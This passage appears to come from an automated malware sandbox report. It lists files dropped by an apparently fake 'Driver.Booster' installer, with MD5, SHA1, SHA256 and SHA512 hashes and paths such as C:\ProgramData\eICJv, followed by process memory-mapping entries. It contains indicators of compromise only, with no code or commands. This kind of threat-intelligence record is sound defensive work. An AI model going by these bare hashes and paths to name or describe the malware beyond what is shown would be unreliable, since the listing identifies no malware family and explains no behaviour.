                      610c870b3bdb17010f9d866b705e999b49c477e6ed3727774b4b5f311da2cf8a

                      SHA512

                      bc459438522960a94fefc6aa838631275b24518a800255716811e3c6cd924cbe431ccc88d974f269058655de674d43e977e83361a3821bfe0328ef64b87ff785

                    • C:\ProgramData\eICJv\extracted\file_2.zip

                      MD5

                      0a1fb9ad84cf9697f6092ffa9f43a2b4

                      SHA1

                      7a8a747117b8722a53ce7564dda55872554cb004

                      SHA256

                      80e16abd7da579d0f29eacabd1a1898a887a95fd9e7d3360c96d6a9ff8f95710

                      SHA512

                      5521e83d8b38ffa7bb67d19b07802c2606852c4fe59d9bfc8106e1cee1f091d42d262174f49e0d91c0b404162a24516143a1dd4d2349320344186da9b416a8e0

                    • C:\ProgramData\eICJv\extracted\file_3.zip

                      MD5

                      0cbfe9677da8a8edb981106803628708

                      SHA1

                      2d9b5b2db605b452c7ad3c14ac55bffe97f84b52

                      SHA256

                      df6102a874cb0b19e8ab9ecef406bc6965d7c9b3bbf394eadd07aad33263e0df

                      SHA512

                      1a3a45179d4a3af16231dea3394d73aa1322f39a01218ec912bc94cf435f5988560c2573fc03b09f82634704cd38f1d790b8469889d402de233a52c22111d6b5

                    • C:\ProgramData\eICJv\extracted\iMtu_gQB.exe

                      MD5

                      dd0146c74694b0d0a32bab320a8a9ee5

                      SHA1

                      e706f8d4f153b5c60e502f947bded7950f19a901

                      SHA256

                      429955ad9594118c2d2120d9ed0a0c2d68ed0b605dd948cc8f29055f45ca4035

                      SHA512

                      72bb8daa6eec9edb871dc515049e82851aec29e8d0828093a214a893e210342d5b66b5bed2ee9c27b5463ad5b29df2639078f42a44357ffd5c62cc10b951b1b1

                    • C:\ProgramData\eICJv\file.bin

                      MD5

                      b3d91bf02bb2ed70c3d8f8e0ab7488a1

                      SHA1

                      d4eeede743d167d40975d0cc2387a36b80365c31

                      SHA256

                      f6f91250f54fb99b54acd1c421589edb1a2224cf6818d7b0dd3890971a1c1787

                      SHA512

                      2e12621b5adfe433ae5a96b82946fe0a3c37e4abd6c319fc2c7c1a1d30449630e5beaab515ea0316f19883ba7c4ad7519b5d6facf47b69be940de8e96c9fe274

                    • C:\ProgramData\eICJv\iMtu_gQB.exe

                      MD5

                      dd0146c74694b0d0a32bab320a8a9ee5

                      SHA1

                      e706f8d4f153b5c60e502f947bded7950f19a901

                      SHA256

                      429955ad9594118c2d2120d9ed0a0c2d68ed0b605dd948cc8f29055f45ca4035

                      SHA512

                      72bb8daa6eec9edb871dc515049e82851aec29e8d0828093a214a893e210342d5b66b5bed2ee9c27b5463ad5b29df2639078f42a44357ffd5c62cc10b951b1b1

                    • C:\ProgramData\eICJv\iMtu_gQB.exe

                      MD5

                      dd0146c74694b0d0a32bab320a8a9ee5

                      SHA1

                      e706f8d4f153b5c60e502f947bded7950f19a901

                      SHA256

                      429955ad9594118c2d2120d9ed0a0c2d68ed0b605dd948cc8f29055f45ca4035

                      SHA512

                      72bb8daa6eec9edb871dc515049e82851aec29e8d0828093a214a893e210342d5b66b5bed2ee9c27b5463ad5b29df2639078f42a44357ffd5c62cc10b951b1b1

                    • C:\ProgramData\eICJv\main.bat

                      MD5

                      d6b76e5702e5878373d5ef3078aee188

                      SHA1

                      ab4af65c920efb012d698a48dc65156c12213c12

                      SHA256

                      426beead9653cd7081fe00afe57690b84bb419e43825943251af3aae52a39465

                      SHA512

                      fa2d19be96ad40b37b01ed71f3d4359a84738e371e16f1fef933a3f77b3a856a6ad27b055cebb977b1ee772a82e070754b856f39023b8f55522d8e8b589eec03

                    • C:\Users\Admin\AppData\Local\Temp\is-3TE2N.tmp\c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmp

                      MD5

                      a88faf8a031cfac67333a10cc3a078ac

                      SHA1

                      d63630e283e3d190dbdea7e3e24739a1e270881a

                      SHA256

                      55c62e226bd77e77a9b8518f268ccb5cba696885290366633d86bc6776dcede1

                      SHA512

                      489292a1a3094c43fc42dec23baaa00a0051e7f214e53529b72b2ca9c537cf7ad2d5b82030d3c7537ccc88ef1d348aca97e6369be6add0f9dcd0cf615b23f8c0

                    • C:\Users\Admin\AppData\Local\Temp\is-PQB52.tmp\Driver.Booster.7.5.0.751.tmp

                      MD5

                      790761a71cb61ac50c7d04b3da72a167

                      SHA1

                      6558d25b86327810bf34f256fdf4dd94127992e2

                      SHA256

                      8336a622b1b6469a2b2834381e4a15d39988145e1915c249be8dd359ebd28e68

                      SHA512

                      90b9d09e59c06c3b7e3c0eb45e072fcf4eeb846f8a43179ce7910ef1faa0b15c85c187a509c1b3d308b3f5b06518c17c9ce9a668a11bf22a4495f0c593a99ad3

                    • \Program Files (x86)\Driver.Booster.7.5.0.751.exe

                      MD5

                      8f338d9c273f69e1945a1199857f8344

                      SHA1

                      8e91bb8cafa23d1a7791bb7861b12904bb85d24e

                      SHA256

                      48052f534ffb591a0a70e45aced6fa54451553bc84421f2eabd630e076d7acf1

                      SHA512

                      2c81eb3caecd0d0a8d4711471bb56e7372e101b8ff2792af6df2327e7a0fef35799ed1e820e631b9cfd5c9562982b05e6e97b06ac86276c30bd7951eac453bdc

                    • \ProgramData\eICJv\7z.dll

                      MD5

                      72491c7b87a7c2dd350b727444f13bb4

                      SHA1

                      1e9338d56db7ded386878eab7bb44b8934ab1bc7

                      SHA256

                      34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

                      SHA512

                      583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

                    • \ProgramData\eICJv\7z.dll

                      MD5

                      72491c7b87a7c2dd350b727444f13bb4

                      SHA1

                      1e9338d56db7ded386878eab7bb44b8934ab1bc7

                      SHA256

                      34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

                      SHA512

                      583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

                    • \ProgramData\eICJv\7z.dll

                      MD5

                      72491c7b87a7c2dd350b727444f13bb4

                      SHA1

                      1e9338d56db7ded386878eab7bb44b8934ab1bc7

                      SHA256

                      34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

                      SHA512

                      583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

                    • \ProgramData\eICJv\7z.dll

                      MD5

                      72491c7b87a7c2dd350b727444f13bb4

                      SHA1

                      1e9338d56db7ded386878eab7bb44b8934ab1bc7

                      SHA256

                      34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

                      SHA512

                      583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

                    • \ProgramData\eICJv\7z.exe

                      MD5

                      619f7135621b50fd1900ff24aade1524

                      SHA1

                      6c7ea8bbd435163ae3945cbef30ef6b9872a4591

                      SHA256

                      344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

                      SHA512

                      2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

                    • \ProgramData\eICJv\iMtu_gQB.exe

                      MD5

                      dd0146c74694b0d0a32bab320a8a9ee5

                      SHA1

                      e706f8d4f153b5c60e502f947bded7950f19a901

                      SHA256

                      429955ad9594118c2d2120d9ed0a0c2d68ed0b605dd948cc8f29055f45ca4035

                      SHA512

                      72bb8daa6eec9edb871dc515049e82851aec29e8d0828093a214a893e210342d5b66b5bed2ee9c27b5463ad5b29df2639078f42a44357ffd5c62cc10b951b1b1

                    • \Users\Admin\AppData\Local\Temp\4acacee3-cefe-4dab-b6f1-01f9a63ec79a\e.dll

                      MD5

                      14ff402962ad21b78ae0b4c43cd1f194

                      SHA1

                      f8a510eb26666e875a5bdd1cadad40602763ad72

                      SHA256

                      fb9646cb956945bdc503e69645f6b5316d3826b780d3c36738d6b944e884d15b

                      SHA512

                      daa7a08bf3709119a944bce28f6ebdd24e54a22b18cd9f86a87873e958df121a3881dcdd5e162f6b4e543238c7aef20f657c9830df01d4c79290f7c9a4fcc54b

                    • \Users\Admin\AppData\Local\Temp\is-3TE2N.tmp\c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmp

                      MD5

                      a88faf8a031cfac67333a10cc3a078ac

                      SHA1

                      d63630e283e3d190dbdea7e3e24739a1e270881a

                      SHA256

                      55c62e226bd77e77a9b8518f268ccb5cba696885290366633d86bc6776dcede1

                      SHA512

                      489292a1a3094c43fc42dec23baaa00a0051e7f214e53529b72b2ca9c537cf7ad2d5b82030d3c7537ccc88ef1d348aca97e6369be6add0f9dcd0cf615b23f8c0

                    • \Users\Admin\AppData\Local\Temp\is-3TJFL.tmp\_isetup\_shfoldr.dll

                      MD5

                      92dc6ef532fbb4a5c3201469a5b5eb63

                      SHA1

                      3e89ff837147c16b4e41c30d6c796374e0b8e62c

                      SHA256

                      9884e9d1b4f8a873ccbd81f8ad0ae257776d2348d027d811a56475e028360d87

                      SHA512

                      9908e573921d5dbc3454a1c0a6c969ab8a81cc2e8b5385391d46b1a738fb06a76aa3282e0e58d0d2ffa6f27c85668cd5178e1500b8a39b1bbae04366ae6a86d3

                    • \Users\Admin\AppData\Local\Temp\is-3TJFL.tmp\_isetup\_shfoldr.dll

                      MD5

                      92dc6ef532fbb4a5c3201469a5b5eb63

                      SHA1

                      3e89ff837147c16b4e41c30d6c796374e0b8e62c

                      SHA256

                      9884e9d1b4f8a873ccbd81f8ad0ae257776d2348d027d811a56475e028360d87

                      SHA512

                      9908e573921d5dbc3454a1c0a6c969ab8a81cc2e8b5385391d46b1a738fb06a76aa3282e0e58d0d2ffa6f27c85668cd5178e1500b8a39b1bbae04366ae6a86d3

                    • \Users\Admin\AppData\Local\Temp\is-3TJFL.tmp\b2p.dll

                      MD5

                      ab35386487b343e3e82dbd2671ff9dab

                      SHA1

                      03591d07aea3309b631a7d3a6e20a92653e199b8

                      SHA256

                      c3729545522fcff70db61046c0efd962df047d40e3b5ccd2272866540fc872b2

                      SHA512

                      b67d7384c769b2b1fdd3363fc3b47d300c2ea4d37334acfd774cf29169c0a504ba813dc3ecbda5b71a3f924110a77a363906b16a87b4b1432748557567d1cf09

                    • \Users\Admin\AppData\Local\Temp\is-3TJFL.tmp\botva2.dll

                      MD5

                      67965a5957a61867d661f05ae1f4773e

                      SHA1

                      f14c0a4f154dc685bb7c65b2d804a02a0fb2360d

                      SHA256

                      450b9b0ba25bf068afbc2b23d252585a19e282939bf38326384ea9112dfd0105

                      SHA512

                      c6942818b9026dc5db2d62999d32cf99fe7289f79a28b8345af17acf9d13b2229a5e917a48ff1f6d59715bdbcb00c1625e0302abcfe10ca7e0475762e0a3f41b

                    • \Users\Admin\AppData\Local\Temp\is-3TJFL.tmp\iswin7logo.dll

                      MD5

                      1ea948aad25ddd347d9b80bef6df9779

                      SHA1

                      0be971e67a6c3b1297e572d97c14f74b05dafed3

                      SHA256

                      30eb67bdd71d3a359819a72990029269672d52f597a2d1084d838caae91a6488

                      SHA512

                      f2cc5dce9754622f5a40c1ca20b4f00ac01197b8401fd4bd888bfdd296a43ca91a3ca261d0e9e01ee51591666d2852e34cee80badadcb77511b8a7ae72630545

                    • \Users\Admin\AppData\Local\Temp\is-PQB52.tmp\Driver.Booster.7.5.0.751.tmp

                      MD5

                      790761a71cb61ac50c7d04b3da72a167

                      SHA1

                      6558d25b86327810bf34f256fdf4dd94127992e2

                      SHA256

                      8336a622b1b6469a2b2834381e4a15d39988145e1915c249be8dd359ebd28e68

                      SHA512

                      90b9d09e59c06c3b7e3c0eb45e072fcf4eeb846f8a43179ce7910ef1faa0b15c85c187a509c1b3d308b3f5b06518c17c9ce9a668a11bf22a4495f0c593a99ad3

                    • \Users\Admin\AppData\Local\Temp\is-SOFRA.tmp\_isetup\_iscrypt.dll

                      MD5

                      a69559718ab506675e907fe49deb71e9

                      SHA1

                      bc8f404ffdb1960b50c12ff9413c893b56f2e36f

                      SHA256

                      2f6294f9aa09f59a574b5dcd33be54e16b39377984f3d5658cda44950fa0f8fc

                      SHA512

                      e52e0aa7fe3f79e36330c455d944653d449ba05b2f9abee0914a0910c3452cfa679a40441f9ac696b3ccf9445cbb85095747e86153402fc362bb30ac08249a63

                    • memory/108-106-0x0000000000000000-mapping.dmp

                    • memory/268-99-0x0000000000000000-mapping.dmp

                    • memory/568-87-0x0000000000000000-mapping.dmp

                    • memory/588-154-0x00000000004F0000-0x000000000051C000-memory.dmp

                    • memory/588-158-0x00000000007E0000-0x00000000007EC000-memory.dmp

                    • memory/588-156-0x0000000073E90000-0x0000000073F10000-memory.dmp

                    • memory/588-150-0x0000000000000000-mapping.dmp

                    • memory/588-152-0x00000000000C0000-0x00000000002A0000-memory.dmp

                    • memory/668-98-0x0000000000000000-mapping.dmp

                    • memory/840-76-0x0000000000400000-0x000000000045F000-memory.dmp

                    • memory/840-68-0x0000000000400000-0x000000000045F000-memory.dmp

                    • memory/840-65-0x0000000000000000-mapping.dmp

                    • memory/852-97-0x0000000000000000-mapping.dmp

                    • memory/872-94-0x0000000000000000-mapping.dmp

                    • memory/904-55-0x0000000000400000-0x00000000004C0000-memory.dmp

                    • memory/904-57-0x0000000000400000-0x00000000004C0000-memory.dmp

                    • memory/904-54-0x00000000752B1000-0x00000000752B3000-memory.dmp

                    • memory/968-111-0x0000000000000000-mapping.dmp

                    • memory/972-119-0x0000000000000000-mapping.dmp

                    • memory/1048-92-0x0000000000000000-mapping.dmp

                    • memory/1068-169-0x000000000043FCC3-mapping.dmp

                    • memory/1068-168-0x0000000000400000-0x0000000000493000-memory.dmp

                    • memory/1068-166-0x0000000000400000-0x0000000000493000-memory.dmp

                    • memory/1068-116-0x0000000000000000-mapping.dmp

                    • memory/1068-164-0x0000000000400000-0x0000000000493000-memory.dmp

                    • memory/1068-162-0x0000000000400000-0x0000000000493000-memory.dmp

                    • memory/1068-173-0x0000000000400000-0x0000000000493000-memory.dmp

                    • memory/1068-160-0x0000000000400000-0x0000000000493000-memory.dmp

                    • memory/1068-159-0x0000000000400000-0x0000000000493000-memory.dmp

                    • memory/1228-109-0x0000000000000000-mapping.dmp

                    • memory/1280-126-0x0000000000000000-mapping.dmp

                    • memory/1316-117-0x0000000000000000-mapping.dmp

                    • memory/1336-110-0x0000000000000000-mapping.dmp

                    • memory/1376-86-0x0000000000000000-mapping.dmp

                    • memory/1540-88-0x0000000000000000-mapping.dmp

                    • memory/1540-127-0x0000000000000000-mapping.dmp

                    • memory/1556-100-0x0000000000000000-mapping.dmp

                    • memory/1568-104-0x0000000000000000-mapping.dmp

                    • memory/1580-135-0x0000000000000000-mapping.dmp

                    • memory/1580-93-0x0000000000000000-mapping.dmp

                    • memory/1600-108-0x0000000000000000-mapping.dmp

                    • memory/1616-112-0x0000000000000000-mapping.dmp

                    • memory/1620-113-0x0000000000000000-mapping.dmp

                    • memory/1640-90-0x0000000000000000-mapping.dmp

                    • memory/1640-131-0x0000000000000000-mapping.dmp

                    • memory/1660-103-0x0000000000000000-mapping.dmp

                    • memory/1668-95-0x0000000000000000-mapping.dmp

                    • memory/1672-114-0x0000000000000000-mapping.dmp

                    • memory/1688-115-0x0000000000000000-mapping.dmp

                    • memory/1708-122-0x0000000000000000-mapping.dmp

                    • memory/1756-96-0x0000000000000000-mapping.dmp

                    • memory/1768-59-0x0000000000000000-mapping.dmp

                    • memory/1768-63-0x0000000074181000-0x0000000074183000-memory.dmp

                    • memory/1788-121-0x0000000000000000-mapping.dmp

                    • memory/1812-139-0x0000000000000000-mapping.dmp

                    • memory/1824-91-0x0000000000000000-mapping.dmp

                    • memory/1832-143-0x0000000000000000-mapping.dmp

                    • memory/1840-105-0x0000000000000000-mapping.dmp

                    • memory/1844-124-0x0000000000000000-mapping.dmp

                    • memory/1884-84-0x0000000000650000-0x000000000065F000-memory.dmp

                    • memory/1884-72-0x0000000000000000-mapping.dmp

                    • memory/1968-89-0x0000000000000000-mapping.dmp

                    • memory/1972-128-0x0000000000000000-mapping.dmp

                    • memory/1976-102-0x0000000000000000-mapping.dmp

                    • memory/1980-101-0x0000000000000000-mapping.dmp

                    • memory/2008-74-0x0000000000000000-mapping.dmp

                    • memory/2032-107-0x0000000000000000-mapping.dmp

                    • memory/2040-120-0x0000000000000000-mapping.dmp